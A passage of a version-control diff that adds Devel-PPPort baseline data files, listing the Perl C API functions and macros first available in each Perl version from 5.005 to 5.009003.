+PL_tainting                    # added by devel/scanprov
+SAVE_DEFSV                     # added by devel/scanprov
+dTHR                           # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5005000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5005000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5005000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,38 @@
+5.005000
+PL_curpad                      # E
+PL_modglobal                   # E
+cx_dump                        # U
+debop                          # U
+debprofdump                    # U
+fbm_compile                    # E (Perl_fbm_compile)
+fbm_instr                      # E (Perl_fbm_instr)
+get_op_descs                   # E
+get_op_names                   # E
+init_stacks                    # E
+mg_length                      # E
+mg_size                        # E
+newHVhv                        # E
+new_stackinfo                  # E
+regdump                        # U
+regexec_flags                  # E
+regnext                        # E (Perl_regnext)
+runops_debug                   # E
+runops_standard                # E
+save_iv                        # E (save_iv)
+save_op                        # U
+sv_iv                          # E
+sv_peek                        # U
+sv_pvn                         # E
+sv_true                        # E
+sv_uv                          # E
+CPERLscope                     # added by devel/scanprov
+END_EXTERN_C                   # added by devel/scanprov
+EXTERN_C                       # added by devel/scanprov
+NOOP                           # added by devel/scanprov
+PL_DBsignal                    # added by devel/scanprov
+PL_Sv                          # added by devel/scanprov
+PL_hexdigit                    # added by devel/scanprov
+PL_hints                       # added by devel/scanprov
+PL_laststatval                 # added by devel/scanprov
+PL_statcache                   # added by devel/scanprov
+START_EXTERN_C                 # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5005010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5005010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5005010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005010

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5005020
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5005020	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5005020	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005020

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5005030
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5005030	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5005030	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.005030
+POPpx                          # E
+get_vtbl                       # E
+save_generic_svref             # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5005040
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5005040	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5005040	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.005040

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5006000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5006000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5006000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,293 @@
+5.006000
+DO_UTF8                        # U
+PERL_SYS_INIT3                 # U
+POPn                           # E
+POPul                          # E
+PUSHn                          # E
+SvIOK_UV                       # U
+SvIOK_notUV                    # U
+SvIOK_only_UV                  # U
+SvNV                           # E
+SvNVX                          # E
+SvNV_set                       # E
+SvNVx                          # E
+SvPOK_only_UTF8                # U
+SvPV_nolen                     # U
+SvPVbyte                       # U
+SvPVbyte_nolen                 # U
+SvPVbytex                      # U
+SvPVbytex_force                # U
+SvPVutf8                       # U
+SvPVutf8_force                 # U
+SvPVutf8_nolen                 # U
+SvPVutf8x                      # U
+SvPVutf8x_force                # U
+SvUTF8                         # U
+SvUTF8_off                     # U
+SvUTF8_on                      # U
+UTF8SKIP                       # U
+XPUSHn                         # E
+XSRETURN_NV                    # E
+XST_mNV                        # E
+av_delete                      # E
+av_exists                      # E
+call_argv                      # E (perl_call_argv)
+call_atexit                    # E
+call_method                    # E (perl_call_method)
+call_pv                        # E (perl_call_pv)
+call_sv                        # E (perl_call_sv)
+cast_i32                       # E (cast_i32)
+cast_iv                        # E (cast_iv)
+cast_ulong                     # E
+cast_uv                        # E (cast_uv)
+croak                          # E (Perl_croak)
+die                            # E (Perl_die)
+do_gv_dump                     # E
+do_gvgv_dump                   # E
+do_hv_dump                     # E
+do_magic_dump                  # E
+do_op_dump                     # E
+do_open9                       # E
+do_pmop_dump                   # E
+do_sv_dump                     # E
+dump_all                       # U
+dump_eval                      # U
+dump_form                      # U
+dump_indent                    # E
+dump_packsubs                  # U
+dump_sub                       # U
+dump_vindent                   # E
+eval_pv                        # E (perl_eval_pv)
+eval_sv                        # E (perl_eval_sv)
+form                           # E (Perl_form)
+get_av                         # E (perl_get_av)
+get_context                    # U
+get_cv                         # E (perl_get_cv)
+get_hv                         # E (perl_get_hv)
+get_ppaddr                     # E
+get_sv                         # E (perl_get_sv)
+gv_dump                        # E
+init_i18nl10n                  # E (perl_init_i18nl10n)
+init_i18nl14n                  # E (perl_init_i18nl14n)
+isASCII                        # U
+isCNTRL                        # U
+isGRAPH                        # U
+isPUNCT                        # U
+isXDIGIT                       # U
+is_uni_alnum                   # E
+is_uni_alnum_lc                # E
+is_uni_alpha                   # E
+is_uni_alpha_lc                # E
+is_uni_ascii                   # E
+is_uni_ascii_lc                # E
+is_uni_cntrl                   # E
+is_uni_cntrl_lc                # E
+is_uni_digit                   # E
+is_uni_digit_lc                # E
+is_uni_graph                   # E
+is_uni_graph_lc                # E
+is_uni_idfirst                 # E
+is_uni_idfirst_lc              # E
+is_uni_lower                   # E
+is_uni_lower_lc                # E
+is_uni_print                   # E
+is_uni_print_lc                # E
+is_uni_punct                   # E
+is_uni_punct_lc                # E
+is_uni_space                   # E
+is_uni_space_lc                # E
+is_uni_upper                   # E
+is_uni_upper_lc                # E
+is_uni_xdigit                  # E
+is_uni_xdigit_lc               # E
+is_utf8_alnum                  # E
+is_utf8_alpha                  # E
+is_utf8_ascii                  # E
+is_utf8_char                   # U
+is_utf8_cntrl                  # E
+is_utf8_digit                  # E
+is_utf8_graph                  # E
+is_utf8_idfirst                # E
+is_utf8_lower                  # E
+is_utf8_mark                   # E
+is_utf8_print                  # E
+is_utf8_punct                  # E
+is_utf8_space                  # E
+is_utf8_upper                  # E
+is_utf8_xdigit                 # E
+load_module                    # E
+magic_dump                     # E
+mess                           # E (Perl_mess)
+my_atof                        # E
+my_fflush_all                  # E
+newANONATTRSUB                 # E
+newATTRSUB                     # U
+newSVnv                        # E (Perl_newSVnv)
+newSVpvf                       # E (Perl_newSVpvf)
+newSVuv                        # E
+newXS                          # E (Perl_newXS)
+newXSproto                     # E
+new_collate                    # E (perl_new_collate)
+new_ctype                      # E (perl_new_ctype)
+new_numeric                    # E (perl_new_numeric)
+op_dump                        # E
+perl_parse                     # E (perl_parse)
+pmop_dump                      # E
+pv_display                     # E
+re_intuit_string               # E
+reginitcolors                  # E
+require_pv                     # E (perl_require_pv)
+safesyscalloc                  # U
+safesysfree                    # U
+safesysmalloc                  # U
+safesysrealloc                 # U
+save_I8                        # E
+save_alloc                     # E
+save_destructor                # E (Perl_save_destructor)
+save_destructor_x              # E
+save_re_context                # E
+save_vptr                      # E
+scan_bin                       # E
+scan_hex                       # E (Perl_scan_hex)
+scan_oct                       # E (Perl_scan_oct)
+set_context                    # U
+set_numeric_local              # E (perl_set_numeric_local)
+set_numeric_radix              # E
+set_numeric_standard           # E (perl_set_numeric_standard)
+str_to_version                 # E
+sv_2pv_nolen                   # U
+sv_2pvbyte                     # E
+sv_2pvbyte_nolen               # U
+sv_2pvutf8                     # E
+sv_2pvutf8_nolen               # U
+sv_catpvf                      # E (Perl_sv_catpvf)
+sv_catpvf_mg                   # E (Perl_sv_catpvf_mg)
+sv_force_normal                # U
+sv_len_utf8                    # E
+sv_nv                          # E (Perl_sv_nv)
+sv_pos_b2u                     # E
+sv_pos_u2b                     # E
+sv_pv                          # U
+sv_pvbyte                      # U
+sv_pvbyten                     # E
+sv_pvbyten_force               # E
+sv_pvutf8                      # U
+sv_pvutf8n                     # E
+sv_pvutf8n_force               # E
+sv_rvweaken                    # E
+sv_setnv                       # E (Perl_sv_setnv)
+sv_setnv_mg                    # E (Perl_sv_setnv_mg)
+sv_setpvf                      # E (Perl_sv_setpvf)
+sv_setpvf_mg                   # E (Perl_sv_setpvf_mg)
+sv_setref_nv                   # E (Perl_sv_setref_nv)
+sv_utf8_decode                 # E
+sv_utf8_downgrade              # E
+sv_utf8_encode                 # E
+sv_vcatpvf                     # E
+sv_vcatpvf_mg                  # E
+sv_vsetpvf                     # E
+sv_vsetpvf_mg                  # E
+swash_init                     # E
+to_uni_lower_lc                # E
+to_uni_title_lc                # E
+to_uni_upper_lc                # E
+utf8_distance                  # E
+utf8_hop                       # U
+vcroak                         # E
+vform                          # E
+vload_module                   # E
+vmess                          # E
+vnewSVpvf                      # E
+vwarn                          # E
+vwarner                        # E
+warn                           # E (Perl_warn)
+warner                         # E
+CopFILE                        # added by devel/scanprov
+CopFILEAV                      # added by devel/scanprov
+CopFILEGV                      # added by devel/scanprov
+CopFILEGV_set                  # added by devel/scanprov
+CopFILESV                      # added by devel/scanprov
+CopFILE_set                    # added by devel/scanprov
+CopSTASH                       # added by devel/scanprov
+CopSTASHPV                     # added by devel/scanprov
+CopSTASHPV_set                 # added by devel/scanprov
+CopSTASH_eq                    # added by devel/scanprov
+CopSTASH_set                   # added by devel/scanprov
+INT2PTR                        # added by devel/scanprov
+IVSIZE                         # added by devel/scanprov
+IVTYPE                         # added by devel/scanprov
+IVdf                           # added by devel/scanprov
+NUM2PTR                        # added by devel/scanprov
+NVTYPE                         # added by devel/scanprov
+PERL_REVISION                  # added by devel/scanprov
+PERL_SUBVERSION                # added by devel/scanprov
+PERL_VERSION                   # added by devel/scanprov
+PL_no_modify                   # added by devel/scanprov
+PL_ppaddr                      # added by devel/scanprov
+PTR2IV                         # added by devel/scanprov
+PTR2NV                         # added by devel/scanprov
+PTR2UV                         # added by devel/scanprov
+PTRV                           # added by devel/scanprov
+SVf                            # added by devel/scanprov
+SVf_UTF8                       # added by devel/scanprov
+UVSIZE                         # added by devel/scanprov
+UVTYPE                         # added by devel/scanprov
+UVof                           # added by devel/scanprov
+UVuf                           # added by devel/scanprov
+UVxf                           # added by devel/scanprov
+WARN_ALL                       # added by devel/scanprov
+WARN_AMBIGUOUS                 # added by devel/scanprov
+WARN_BAREWORD                  # added by devel/scanprov
+WARN_CLOSED                    # added by devel/scanprov
+WARN_CLOSURE                   # added by devel/scanprov
+WARN_DEBUGGING                 # added by devel/scanprov
+WARN_DEPRECATED                # added by devel/scanprov
+WARN_DIGIT                     # added by devel/scanprov
+WARN_EXEC                      # added by devel/scanprov
+WARN_EXITING                   # added by devel/scanprov
+WARN_GLOB                      # added by devel/scanprov
+WARN_INPLACE                   # added by devel/scanprov
+WARN_INTERNAL                  # added by devel/scanprov
+WARN_IO                        # added by devel/scanprov
+WARN_MALLOC                    # added by devel/scanprov
+WARN_MISC                      # added by devel/scanprov
+WARN_NEWLINE                   # added by devel/scanprov
+WARN_NUMERIC                   # added by devel/scanprov
+WARN_ONCE                      # added by devel/scanprov
+WARN_OVERFLOW                  # added by devel/scanprov
+WARN_PACK                      # added by devel/scanprov
+WARN_PARENTHESIS               # added by devel/scanprov
+WARN_PIPE                      # added by devel/scanprov
+WARN_PORTABLE                  # added by devel/scanprov
+WARN_PRECEDENCE                # added by devel/scanprov
+WARN_PRINTF                    # added by devel/scanprov
+WARN_PROTOTYPE                 # added by devel/scanprov
+WARN_QW                        # added by devel/scanprov
+WARN_RECURSION                 # added by devel/scanprov
+WARN_REDEFINE                  # added by devel/scanprov
+WARN_REGEXP                    # added by devel/scanprov
+WARN_RESERVED                  # added by devel/scanprov
+WARN_SEMICOLON                 # added by devel/scanprov
+WARN_SEVERE                    # added by devel/scanprov
+WARN_SIGNAL                    # added by devel/scanprov
+WARN_SUBSTR                    # added by devel/scanprov
+WARN_SYNTAX                    # added by devel/scanprov
+WARN_TAINT                     # added by devel/scanprov
+WARN_UNINITIALIZED             # added by devel/scanprov
+WARN_UNOPENED                  # added by devel/scanprov
+WARN_UNPACK                    # added by devel/scanprov
+WARN_UNTIE                     # added by devel/scanprov
+WARN_UTF8                      # added by devel/scanprov
+WARN_VOID                      # added by devel/scanprov
+XSprePUSH                      # added by devel/scanprov
+aTHX                           # added by devel/scanprov
+aTHX_                          # added by devel/scanprov
+ckWARN                         # added by devel/scanprov
+dNOOP                          # added by devel/scanprov
+dTHX                           # added by devel/scanprov
+dTHXa                          # added by devel/scanprov
+dTHXoa                         # added by devel/scanprov
+dXSTARG                        # added by devel/scanprov
+isALNUMC                       # added by devel/scanprov
+pTHX                           # added by devel/scanprov
+pTHX_                          # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5006001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5006001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5006001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,17 @@
+5.006001
+SvGAMAGIC                      # U
+apply_attrs_string             # U
+bytes_to_utf8                  # U
+gv_efullname4                  # U
+gv_fullname4                   # U
+isBLANK                        # U
+isPSXSPC                       # U
+is_utf8_string                 # U
+save_generic_pvref             # U
+utf16_to_utf8                  # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed         # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes                  # U
+G_METHOD                       # added by devel/scanprov
+NVef                           # added by devel/scanprov
+NVff                           # added by devel/scanprov
+NVgf                           # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5006002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5006002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5006002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.006002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5007000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5007000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5007000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.007000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5007001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5007001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5007001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,28 @@
+5.007001
+ASCII_TO_NEED                  # U
+NATIVE_TO_NEED                 # U
+POPpbytex                      # E
+SvUOK                          # U
+bytes_from_utf8                # U
+despatch_signals               # U
+do_openn                       # U
+gv_handler                     # U
+is_lvalue_sub                  # U
+my_popen_list                  # U
+newSVpvn_share                 # U
+save_mortalizesv               # U
+scan_num                       # E (Perl_scan_num)
+sv_force_normal_flags          # U
+sv_setref_uv                   # U
+sv_unref_flags                 # U
+sv_utf8_upgrade                # E (Perl_sv_utf8_upgrade)
+utf8_length                    # U
+utf8_to_uvchr                  # U
+utf8_to_uvuni                  # U
+utf8n_to_uvchr                 # U
+utf8n_to_uvuni                 # U
+uvchr_to_utf8                  # U
+uvuni_to_utf8                  # U
+PTR2ul                         # added by devel/scanprov
+SV_IMMEDIATE_UNREF             # added by devel/scanprov
+UVXf                           # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5007002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5007002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5007002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,72 @@
+5.007002
+SvPV_force_nomg                # U
+SvPV_nomg                      # U
+calloc                         # U
+dAX                            # E
+dITEMS                         # E
+getcwd_sv                      # U
+grok_number                    # U
+grok_numeric_radix             # U
+init_tm                        # U
+malloc                         # U
+mfree                          # U
+mini_mktime                    # U
+my_atof2                       # U
+my_strftime                    # U
+op_null                        # U
+realloc                        # U
+sv_2pv_flags                   # U
+sv_catpvn_flags                # U
+sv_catpvn_nomg                 # U
+sv_catsv_flags                 # U
+sv_catsv_nomg                  # U
+sv_pvn_force_flags             # U
+sv_setsv_flags                 # U
+sv_setsv_nomg                  # U
+sv_utf8_upgrade_flags          # U
+sv_utf8_upgrade_nomg           # U
+swash_fetch                    # E (Perl_swash_fetch)
+GROK_NUMERIC_RADIX             # added by devel/scanprov
+IN_LOCALE                      # added by devel/scanprov
+IN_LOCALE_COMPILETIME          # added by devel/scanprov
+IN_LOCALE_RUNTIME              # added by devel/scanprov
+IS_NUMBER_GREATER_THAN_UV_MAX  # added by devel/scanprov
+IS_NUMBER_INFINITY             # added by devel/scanprov
+IS_NUMBER_IN_UV                # added by devel/scanprov
+IS_NUMBER_NEG                  # added by devel/scanprov
+IS_NUMBER_NOT_INT              # added by devel/scanprov
+PERL_MAGIC_arylen              # added by devel/scanprov
+PERL_MAGIC_backref             # added by devel/scanprov
+PERL_MAGIC_bm                  # added by devel/scanprov
+PERL_MAGIC_collxfrm            # added by devel/scanprov
+PERL_MAGIC_dbfile              # added by devel/scanprov
+PERL_MAGIC_dbline              # added by devel/scanprov
+PERL_MAGIC_defelem             # added by devel/scanprov
+PERL_MAGIC_env                 # added by devel/scanprov
+PERL_MAGIC_envelem             # added by devel/scanprov
+PERL_MAGIC_ext                 # added by devel/scanprov
+PERL_MAGIC_fm                  # added by devel/scanprov
+PERL_MAGIC_isa                 # added by devel/scanprov
+PERL_MAGIC_isaelem             # added by devel/scanprov
+PERL_MAGIC_nkeys               # added by devel/scanprov
+PERL_MAGIC_overload_table      # added by devel/scanprov
+PERL_MAGIC_pos                 # added by devel/scanprov
+PERL_MAGIC_qr                  # added by devel/scanprov
+PERL_MAGIC_regdata             # added by devel/scanprov
+PERL_MAGIC_regdatum            # added by devel/scanprov
+PERL_MAGIC_regex_global        # added by devel/scanprov
+PERL_MAGIC_sig                 # added by devel/scanprov
+PERL_MAGIC_sigelem             # added by devel/scanprov
+PERL_MAGIC_substr              # added by devel/scanprov
+PERL_MAGIC_sv                  # added by devel/scanprov
+PERL_MAGIC_taint               # added by devel/scanprov
+PERL_MAGIC_tied                # added by devel/scanprov
+PERL_MAGIC_tiedelem            # added by devel/scanprov
+PERL_MAGIC_tiedscalar          # added by devel/scanprov
+PERL_MAGIC_uvar                # added by devel/scanprov
+PERL_MAGIC_vec                 # added by devel/scanprov
+PERL_UNUSED_DECL               # added by devel/scanprov
+PERL_UNUSED_VAR                # added by devel/scanprov
+SV_GMAGIC                      # added by devel/scanprov
+SvPV_flags                     # added by devel/scanprov
+SvPV_force_flags               # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5007003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5007003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5007003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,83 @@
+5.007003
+OP_DESC                        # U
+OP_NAME                        # U
+PL_peepp                       # E
+PerlIO_clearerr                # U (PerlIO_clearerr)
+PerlIO_close                   # U (PerlIO_close)
+PerlIO_eof                     # U (PerlIO_eof)
+PerlIO_error                   # U (PerlIO_error)
+PerlIO_fileno                  # U (PerlIO_fileno)
+PerlIO_fill                    # U (PerlIO_fill)
+PerlIO_flush                   # U (PerlIO_flush)
+PerlIO_get_base                # U (PerlIO_get_base)
+PerlIO_get_bufsiz              # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt                 # U (PerlIO_get_cnt)
+PerlIO_get_ptr                 # U (PerlIO_get_ptr)
+PerlIO_read                    # U (PerlIO_read)
+PerlIO_seek                    # U (PerlIO_seek)
+PerlIO_set_cnt                 # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt              # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf              # U (PerlIO_setlinebuf)
+PerlIO_stderr                  # U (PerlIO_stderr)
+PerlIO_stdin                   # U (PerlIO_stdin)
+PerlIO_stdout                  # U (PerlIO_stdout)
+PerlIO_tell                    # U (PerlIO_tell)
+PerlIO_unread                  # U (PerlIO_unread)
+PerlIO_write                   # U (PerlIO_write)
+SvLOCK                         # U
+SvSHARE                        # U
+SvUNLOCK                       # U
+atfork_lock                    # U
+atfork_unlock                  # U
+custom_op_desc                 # U
+custom_op_name                 # U
+deb                            # U
+debstack                       # U
+debstackptrs                   # U
+grok_bin                       # U
+grok_hex                       # U
+grok_oct                       # U
+gv_fetchmeth_autoload          # U
+ibcmp_utf8                     # U
+my_fork                        # U
+my_socketpair                  # U
+pack_cat                       # U
+perl_destruct                  # E (perl_destruct)
+pv_uni_display                 # U
+save_shared_pvref              # U
+savesharedpv                   # U
+sortsv                         # U
+sv_magicext                    # U
+sv_nolocking                   # U
+sv_nosharing                   # U
+sv_pvn_nomg                    # U
+sv_recode_to_utf8              # U
+sv_uni_display                 # U
+to_uni_fold                    # U
+to_uni_lower                   # E (Perl_to_uni_lower)
+to_uni_title                   # E (Perl_to_uni_title)
+to_uni_upper                   # E (Perl_to_uni_upper)
+to_utf8_case                   # U
+unpack_str                     # U
+uvchr_to_utf8_flags            # U
+uvuni_to_utf8_flags            # U
+vdeb                           # U
+IS_NUMBER_NAN                  # added by devel/scanprov
+MY_CXT                         # added by devel/scanprov
+MY_CXT_INIT                    # added by devel/scanprov
+PERL_MAGIC_shared              # added by devel/scanprov
+PERL_MAGIC_shared_scalar       # added by devel/scanprov
+PERL_MAGIC_uvar_elem           # added by devel/scanprov
+PERL_SCAN_ALLOW_UNDERSCORES    # added by devel/scanprov
+PERL_SCAN_DISALLOW_PREFIX      # added by devel/scanprov
+PERL_SCAN_GREATER_THAN_UV_MAX  # added by devel/scanprov
+START_MY_CXT                   # added by devel/scanprov
+_aMY_CXT                       # added by devel/scanprov
+_pMY_CXT                       # added by devel/scanprov
+aMY_CXT                        # added by devel/scanprov
+aMY_CXT_                       # added by devel/scanprov
+dMY_CXT                        # added by devel/scanprov
+dMY_CXT_SV                     # added by devel/scanprov
+pMY_CXT                        # added by devel/scanprov
+pMY_CXT_                       # added by devel/scanprov
+packWARN                       # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.008000
+Poison                         # E
+hv_iternext_flags              # U
+hv_store_flags                 # U
+is_utf8_idcont                 # U
+nothreadhook                   # U
+WARN_LAYER                     # added by devel/scanprov
+WARN_THREADS                   # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,31 @@
+5.008001
+CvPADLIST                      # E
+PL_comppad                     # E
+SvVOK                          # U
+XSRETURN_UV                    # U
+doing_taint                    # U
+find_runcv                     # U
+is_utf8_string_loc             # U
+packlist                       # U
+pad_add_anon                   # U
+pad_new                        # E
+pad_tidy                       # E
+save_bool                      # U
+savestack_grow_cnt             # U
+seed                           # U
+sv_cat_decode                  # U
+sv_setpviv                     # U
+sv_setpviv_mg                  # U
+unpackstring                   # U
+C_ARRAY_LENGTH                 # added by devel/scanprov
+IN_PERL_COMPILETIME            # added by devel/scanprov
+PERL_ABS                       # added by devel/scanprov
+PERL_GCC_BRACE_GROUPS_FORBIDDEN # added by devel/scanprov
+PERL_MAGIC_utf8                # added by devel/scanprov
+PERL_MAGIC_vstring             # added by devel/scanprov
+PERL_SCAN_SILENT_ILLDIGIT      # added by devel/scanprov
+PERL_SIGNALS_UNSAFE_FLAG       # added by devel/scanprov
+PL_signals                     # added by devel/scanprov
+SV_COW_DROP_PV                 # added by devel/scanprov
+SV_UTF8_NO_ENCODING            # added by devel/scanprov
+XST_mUV                        # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW                        # U
+SvIsCOW_shared_hash            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008007

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008008

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5008009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5008009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5008009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.009000
+new_version                    # U
+save_set_svflags               # U
+vcmp                           # U
+vnumify                        # U
+vstringify                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,8 @@
+5.009001
+SvIV_nomg                      # U
+SvUV_nomg                      # U
+hv_clear_placeholders          # U
+hv_scalar                      # U
+scan_version                   # E (Perl_scan_version)
+sv_2iv_flags                   # U
+sv_2uv_flags                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+5.009002
+CopyD                          # E
+MoveD                          # E
+PUSHmortal                     # E
+SvPVbyte_force                 # U
+UNDERBAR                       # E
+XCPT_CATCH                     # E
+XCPT_RETHROW                   # E
+XCPT_TRY_END                   # E
+XCPT_TRY_START                 # E
+XPUSHmortal                    # E
+ZeroD                          # E
+dUNDERBAR                      # E
+dXCPT                          # E
+find_rundefsvoffset            # U
+gv_fetchpvn_flags              # U
+gv_fetchsv                     # U
+mPUSHi                         # U
+mPUSHn                         # U
+mPUSHp                         # U
+mPUSHu                         # U
+mXPUSHi                        # U
+mXPUSHn                        # U
+mXPUSHp                        # U
+mXPUSHu                        # U
+op_refcnt_lock                 # U
+op_refcnt_unlock               # U
+savesvpv                       # U
+vnormal                        # U
+MY_CXT_CLONE                   # added by devel/scanprov
+SV_NOSTEAL                     # added by devel/scanprov
+UTF8_MAXBYTES                  # added by devel/scanprov

Added: vendor/perl/dist/dist/Devel-PPPort/parts/base/5009003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/base/5009003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/base/5009003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,66 @@
+5.009003
+Newx                           # E
+Newxc                          # E
+Newxz                          # E
+PL_check                       # E
+SvMAGIC_set                    # U
+SvRV_set                       # U
+SvSTASH_set                    # U
+SvUV_set                       # U
+av_arylen_p                    # U
